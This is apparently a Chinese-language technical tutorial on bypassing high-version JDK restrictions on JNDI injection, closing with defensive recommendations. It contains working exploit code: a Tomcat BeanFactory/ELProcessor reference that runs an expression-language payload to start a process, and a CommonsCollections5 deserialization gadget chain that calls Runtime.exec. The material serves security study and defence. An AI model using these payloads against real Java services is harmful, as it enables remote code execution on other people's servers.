JNDI注入高版本绕过方式
字数 1361 2025-08-11 17:40:32
JNDI注入高版本JDK绕过技术详解
一、JNDI注入基础回顾
1. JNDI基本攻击流程
- 攻击者实现RMI恶意远程对象并绑定到RMI Registry
- 编译后的RMI远程对象类放在HTTP/FTP/SMB等服务器上
- 受害者RMI客户端在lookup()过程中:
- 首先尝试本地CLASSPATH获取Stub类定义
- 本地找不到则向远程Codebase获取恶意对象
2. 利用条件
- RMI客户端环境允许访问远程Codebase
java.rmi.server.useCodebaseOnly属性必须为false
二、JDK版本限制
1. JDK 6u141/7u131/8u121之后
- 新增
com.sun.jndi.rmi.object.trustURLCodebase选项 - 默认false,禁止RMI和CORBA协议使用远程codebase
- 仍可通过LDAP协议进行JNDI注入
2. JDK 6u211/7u201/8u191之后
- 新增
com.sun.jndi.ldap.object.trustURLCodebase选项 - 默认false,禁止LDAP协议使用远程codebase
三、绕过原理分析
高版本JDK主要限制远程ObjectFactory的加载,绕过思路:
-
本地ClassPath优先加载机制:
- 先尝试本地加载ObjectFactory
- 失败后才加载远程地址的ObjectFactory
-
关键类
javax.naming.Reference:- 表示对命名/目录系统外部对象的引用
- 构造方法:
Reference(String className) // 基本构造 Reference(String className, RefAddr addr) // 带地址构造 Reference(String className, String factory, String factoryLocation) // 带工厂类构造 - 重要参数:
className: 远程加载使用的类名factory: 需要实例化的类名factoryLocation: 提供classes数据的地址(file/ftp/http)
四、绕过技术详解
1. 加载本地类绕过
条件:
- 找到本地CLASSPATH中满足条件的类作为恶意Reference Factory
- 必须实现
javax.naming.spi.ObjectFactory接口 - 必须包含
getObjectInstance()方法
推荐类:
org.apache.naming.factory.BeanFactory(Tomcat依赖包中)
示例代码:
// 服务端
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
// 客户端
Object object = new InitialContext().lookup("rmi://127.0.0.1:1099/Object");
2. 本地反序列化绕过
原理:
- 利用LDAP直接返回恶意序列化对象
- JNDI注入仍会反序列化该对象
- 利用本地反序列化链完成攻击
依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
示例代码:
// 服务端
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", CommonsCollections5()); // 反序列化payload
// 客户端
Object object = new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
反序列化payload生成:
private static byte[] CommonsCollections5() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field field = exp.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(exp, tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(exp);
oos.close();
return baos.toByteArray();
}
五、防御建议
- 升级JDK到最新版本
- 设置以下安全属性为false:
com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase
- 避免使用不可信的JNDI查找
- 限制应用程序的网络访问权限
- 移除不必要的危险类(如BeanFactory)
六、总结
高版本JDK通过限制远程codebase的使用增强了安全性,但通过利用本地ClassPath中的类和反序列化漏洞仍可实现攻击。防御需要综合多种措施,包括JDK升级、安全配置和代码审计等。